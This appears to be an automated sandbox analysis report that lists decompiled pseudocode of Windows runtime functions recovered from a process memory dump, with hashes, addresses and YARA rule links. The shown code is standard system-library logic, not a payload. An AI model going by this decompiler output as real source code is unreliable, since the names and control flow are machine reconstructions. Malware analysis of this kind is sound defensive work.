0x00dd42f7
0x00dd42f9
0x00dd4300
0x00dd4300
0x00dd42f0
0x00dd430e
0x00dd431f

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59534c263a893e8596d9fd112724c40b9ce5effc9c717c38555bfee672dae351
Instruction ID: 2a475ed994b153a45c0e0f381600fba9fa26af207be214eb1441c659a8ec2e6d
Opcode Fuzzy Hash: 59534c263a893e8596d9fd112724c40b9ce5effc9c717c38555bfee672dae351
Instruction Fuzzy Hash: 50214770542704CFCB15DF69DA04A14BFF2FB85314B24826BE119EB3A1DB31E986CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DC46A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00DC46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E00D8F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E00D7D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L00D677F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x00dc46b7
0x00dc46ba
0x00dc46c5
0x00dc46c8
0x00dc46d0
0x00dc46d4
0x00dc46e6
0x00dc46e9
0x00dc46f4
0x00dc46ff
0x00dc4705
0x00dc4706
0x00dc470c
0x00dc4713
0x00dc471b
0x00dc4723
0x00dc4725
0x00dc46d6
0x00dc46d9
0x00dc46db
0x00dc46db
0x00dc4732

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: 8d84797e5927f43015d43d4f46fd25e80a93dde0e16e5040166a7cc07cee1089
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 2511CE72904208BBCB159F6CD8819BEBBB9EF96304F1080AEF9848B351DA318D55D7B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D72397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00D72397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0xe3848c != 0) {
					L00D6FAD0(0xe38610);
					if( *0xe3848c == 0) {
						E00D6FA00(0xe38610, _t19, _t27, 0xe38610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E00D72581(0xe38610, 0xd250a0, _t26, _t27, _t28);
						E00D6FA00(0xe38610, 0xd250a0, _t27, 0xe38610);
					}
				} else {
					L1:
					_t11 =  *0xe38614; // 0x0
					if(_t11 == 0) {
						_t11 = E00D84886(0xd21088, 1, 0xe38614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E00D72581(0xe38610, (_t11 << 4) + 0xd25070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x00d723b0
0x00d723b6
0x00d72409
0x00d72415
0x00db5ae9
0x00000000
0x00d7241b
0x00d7241b
0x00d7241d
0x00d72427
0x00d7242e
0x00d72430
0x00d72430
0x00d723b8
0x00d723b8
0x00d723b8
0x00d723bf
0x00d723fc
0x00d723fc
0x00d723c1
0x00d723c3
0x00d723d0
0x00d723d8
0x00d723d8
0x00d723dc
0x00d723de
0x00d723e1
0x00d723e1
0x00d723ec

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09089844608a972980d7e7028dfd1ebac88b1827e2dfe9d89f6c52094f7de31c
Instruction ID: 1030cf7ee39a641986c46e203be29005f8bbf8d47322e59c62c1a1dba76e5ecb
Opcode Fuzzy Hash: 09089844608a972980d7e7028dfd1ebac88b1827e2dfe9d89f6c52094f7de31c
Instruction Fuzzy Hash: BE112B316007906BD3309B2ABD45F35B6D8EB60720F58D03AF60AA7291E974E8458774

Uniqueness

Uniqueness Score: -1.00%

Function 00D4C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00D4C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				char _t22;
				void* _t26;
				void* _t27;
				char _t32;
				char _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0xe3d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E00D5EEF0(0xe370a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E00DCF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E00D5EB70(_t29, 0xe370a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E00D8B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E00DCF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0xe370c0; // 0x0
					while(_t38 != 0xe370c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0xe3b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x00d4c96a
0x00d4c974
0x00d4c988
0x00d4c98a
0x00db7c9d
0x00db7c9f
0x00db7ca4
0x00db7cae
0x00db7cf0
0x00db7cf5
0x00db7cfa
0x00d4c992
0x00d4c996
0x00d4c997
0x00d4c998
0x00d4c9a3
0x00d4c9a3
0x00db7cb0
0x00db7cb7
0x00db7cbb
0x00000000
0x00000000
0x00db7cbd
0x00db7ce8
0x00db7cc5
0x00db7cc8
0x00db7cca
0x00db7cd0
0x00db7cd6
0x00db7cde
0x00db7ce4
0x00db7ce4
0x00db7cd0
0x00000000
0x00db7ce8
0x00d4c990
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 671e704a02e4f34ce796ce8b7c1394856b04372dbd928c3aaad18c4329eaa7df
Instruction ID: cb4618447041760e80b958944d106b931896006102e59a54dc0b99d150834e04
Opcode Fuzzy Hash: 671e704a02e4f34ce796ce8b7c1394856b04372dbd928c3aaad18c4329eaa7df
Instruction Fuzzy Hash: FD11063130860A9BC754AF28CC46AAA7BA1FBC4310F04013CF882A7651DB20EC14CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 00D837F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00D837F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E00D62280(_t6, 0xe38550);
				}
				_t29 = E00D8387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E00D5FFB0(0xe38550, _t27, 0xe38550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x00d837fa
0x00d837fc
0x00d83805
0x00d83808
0x00d83808
0x00d83814
0x00d83818
0x00d83846
0x00d83848
0x00d8384b
0x00d8384b
0x00d83852
0x00000000
0x00d83854
0x00d83856
0x00000000
0x00000000
0x00d83863
0x00000000
0x00d83863
0x00d8381a
0x00d8381a
0x00d8381f
0x00d8386e
0x00d8386e
0x00d83871
0x00d83873
0x00d83873
0x00d83868
0x00000000
0x00d83868
0x00d83821
0x00d83826
0x00000000
0x00000000
0x00d83828
0x00d8382a
0x00d83841
0x00000000
0x00d83841

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd700ffe3c7864383038d5cf810fd57c81de911fbf1024b02719fedcd5e01f8f
Instruction ID: edd2328e548c99d22c6d62b3e62c7359242a0c2ef901c9be8fe38f3d8d2fbbd4
Opcode Fuzzy Hash: bd700ffe3c7864383038d5cf810fd57c81de911fbf1024b02719fedcd5e01f8f
Instruction Fuzzy Hash: 0201D6B29056109BC737AB1AD944E2ABBB6DF95F507194069F94D8B211DB34CE01C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D7002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E00D67D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E00D67D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E00D67D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E00D67D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x00d70032
0x00d70037
0x00d70043
0x00db4b3a
0x00d70049
0x00d70049
0x00d70049
0x00d7004e
0x00d70053
0x00db4b48
0x00db4b5a
0x00db4b4a
0x00db4b53
0x00db4b53
0x00db4b5f
0x00000000
0x00db4b61
0x00000000
0x00db4b61
0x00d70059
0x00d70059
0x00d70060
0x00db4b6f
0x00db4b6f
0x00d70069
0x00db4b83
0x00000000
0x00000000
0x00db4b90
0x00db4b9b
0x00db4b9b
0x00db4ba4
0x00000000
0x00000000
0x00db4baa
0x00000000
0x00d7006f
0x00d7006f
0x00000000
0x00d7006f
0x00d70069

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: b16eae878bea10fbd44a6304779ac47c8c43e06bf262c9e2e0192801306a6c60
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 7B112632206680CFE722C728C955B757BD4EF417A8F1D00A0EE0A876D3E728CC41C678

Uniqueness

Uniqueness Score: -1.00%

Function 00D5766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00D5766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E00D7F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E00D7F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L00D64620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x00d57672
0x00d5767f
0x00d57689
0x00d576de
0x00d576de
0x00d5768b
0x00d57691
0x00d57693
0x00d57697
0x00000000
0x00d57699
0x00d576a8
0x00000000
0x00d576aa
0x00d576ad
0x00d576b1
0x00000000
0x00d576b3
0x00d576b3
0x00d576b5
0x00d576ba
0x00d576bc
0x00d576bc
0x00d576c0
0x00000000
0x00d576c2
0x00d576ce
0x00d576ce
0x00d576c0
0x00d576b1
0x00d576a8
0x00d57697
0x00d576d9

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: d3b7c406c55f4b3dcd57e20111db6a2c13048bdee6d7261632f311985d9e327c
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: C7018F32704619ABCB60DE6EEC51E9B77ADEB85B61B384534BD08CB250EA30DD0587B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D49080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00D49080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0xe385ec;
				E00D62280(_t48, 0xe385ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E00D5FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0xe3538c; // 0x77ad6888
					if( *_t84 != 0xe35388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0xe1f6e8);
						E00D9D0E8(0xe385ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E00E188F5(_t80, _t85, 0xe35388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0xe386c0; // 0x7807b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0xe386b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E00D62280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E00E188F5(0xe385ec, _t85, 0xe35388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E00D8AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0xe3b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0xe384c0;
																			if(_t82 >=  *0xe384c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E00E19063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E00D4922A(_t99);
										_t64 = E00D67D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E00E18B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0xe386c0; // 0x7807b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0xe386b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0xe386bc;
													_t87 = 0xe386b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E00D49240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0xe386c4;
												_t87 = 0xe386c0;
												L27:
												E00D79B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E00D9D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0xe35388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0xe3538c = _t51;
						goto L6;
					}
				}
			}

0x00d49082
0x00d49083
0x00d49084
0x00d49085
0x00d49087
0x00d49096
0x00d49098
0x00d49098
0x00d4909e
0x00d490a8
0x00d490e7
0x00d490e7
0x00d490aa
0x00d490b0
0x00d490b7
0x00d490bd
0x00d490dd
0x00d490e6
0x00d490bf
0x00d490bf
0x00d490c7
0x00d490cf
0x00d490f1
0x00d490f2
0x00d490f4
0x00d490f5
0x00d490f6
0x00d490f7
0x00d490f8
0x00d490f9
0x00d490fa
0x00d490fb
0x00d490fc
0x00d490fd
0x00d490fe
0x00d490ff
0x00d49100
0x00d49102
0x00d49107
0x00d4910c
0x00d49110
0x00d49113
0x00d49115
0x00d49136
0x00d4913f
0x00d49143
0x00da37e4
0x00da37e4
0x00d49117
0x00d49117
0x00d4911d
0x00000000
0x00d4911f
0x00d4911f
0x00d49125
0x00000000
0x00d49127
0x00d4912d
0x00d49130
0x00d49134
0x00d49158
0x00d4915d
0x00d49161
0x00d49168
0x00da3715
0x00d4916e
0x00d4916e
0x00d49175
0x00d49177
0x00d4917e
0x00d4917f
0x00d49182
0x00d49182
0x00d49187
0x00d49187
0x00d4918a
0x00d4918d
0x00d4918f
0x00d49192
0x00d49195
0x00d49198
0x00d49198
0x00d49198
0x00d4919a
0x00000000
0x00000000
0x00da371f
0x00da3721
0x00da3727
0x00da372f
0x00da3733
0x00da3735
0x00da3738
0x00da373b
0x00da373d
0x00da3740
0x00000000
0x00da3746
0x00da3746
0x00da3749
0x00000000
0x00da374f
0x00da374f
0x00da3751
0x00da3757
0x00da3759
0x00da375c
0x00da375c
0x00da375e
0x00da375e
0x00da3761
0x00da3764
0x00000000
0x00000000
0x00da3766
0x00da3768
0x00da37a3
0x00da37a3
0x00da37a5
0x00da37a7
0x00da37ad
0x00da37b0
0x00da37b2
0x00da37bc
0x00da37c2
0x00da37c2
0x00da37b2
0x00d49187
0x00d49187
0x00d4918a
0x00d4918d
0x00d4918f
0x00d49192
0x00d49195
0x00000000
0x00d49195
0x00000000
0x00da376a
0x00da376a
0x00da376a
0x00da376c
0x00da376c
0x00da376f
0x00da3775
0x00000000
0x00000000
0x00da3777
0x00da3779
0x00da3782
0x00da3787
0x00da3789
0x00da3790
0x00da3790
0x00da378b
0x00da378b
0x00da378b
0x00da3792
0x00da3795
0x00000000
0x00da3795
0x00000000
0x00da3779
0x00da3798
0x00000000
0x00da3798
0x00000000
0x00da3768
0x00da379b
0x00da379b
0x00da3751
0x00da3749
0x00000000
0x00da3740
0x00d491a0
0x00d491a3
0x00d491a9
0x00d491b0
0x00000000
0x00d491b0
0x00d49187
0x00d491b4
0x00d491b4
0x00d491bb
0x00d491c0
0x00d491c5
0x00d491c7
0x00da37da
0x00d491cd
0x00d491cd
0x00d491cd
0x00d491d2
0x00d491d5
0x00d49239
0x00d49239
0x00d491d7
0x00d491db
0x00d491e1
0x00d491e7
0x00d491fd
0x00d49203
0x00d4921e
0x00d49223
0x00000000
0x00d49205
0x00d49205
0x00d49208
0x00d4920c
0x00d49214
0x00d49214
0x00d4920c
0x00d491e9
0x00d491e9
0x00d491ee
0x00d491f3
0x00d491f3
0x00d491f3
0x00d491e7
0x00000000
0x00000000
0x00000000
0x00d49134
0x00d49125
0x00d4911d
0x00d4914e
0x00d490d1
0x00d490d1
0x00d490d3
0x00d490d6
0x00d490d8
0x00000000
0x00d490d8
0x00d490cf

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c735bd964cd9488cd7910e5015ac8513f54cf7ac882afe1558e77897cfc02fcf
Instruction ID: 4d03d82b68fa923384650ce40831dcece8268e907227efcda4e23f4e17000183
Opcode Fuzzy Hash: c735bd964cd9488cd7910e5015ac8513f54cf7ac882afe1558e77897cfc02fcf
Instruction Fuzzy Hash: 7D01FF72601A048FC7248F1AD854B26BBE9EF95360F294036E5019B7A1C374DC45CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00DDC450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00DDC450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E00D89910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E00D895B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E00D895D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E00D895D0();
				return L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x00ddc458
0x00ddc45d
0x00ddc466
0x00ddc468
0x00ddc469
0x00ddc46a
0x00ddc46b
0x00ddc46e
0x00ddc46f
0x00ddc471
0x00ddc476
0x00ddc476
0x00ddc47c
0x00ddc47e
0x00ddc480
0x00ddc480
0x00ddc483
0x00ddc484
0x00ddc486
0x00ddc488
0x00ddc48f
0x00ddc491
0x00ddc493
0x00ddc493
0x00ddc48f
0x00ddc498
0x00ddc49e
0x00ddc4ad
0x00ddc4ad
0x00ddc4b2
0x00ddc4b4
0x00ddc4cd

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
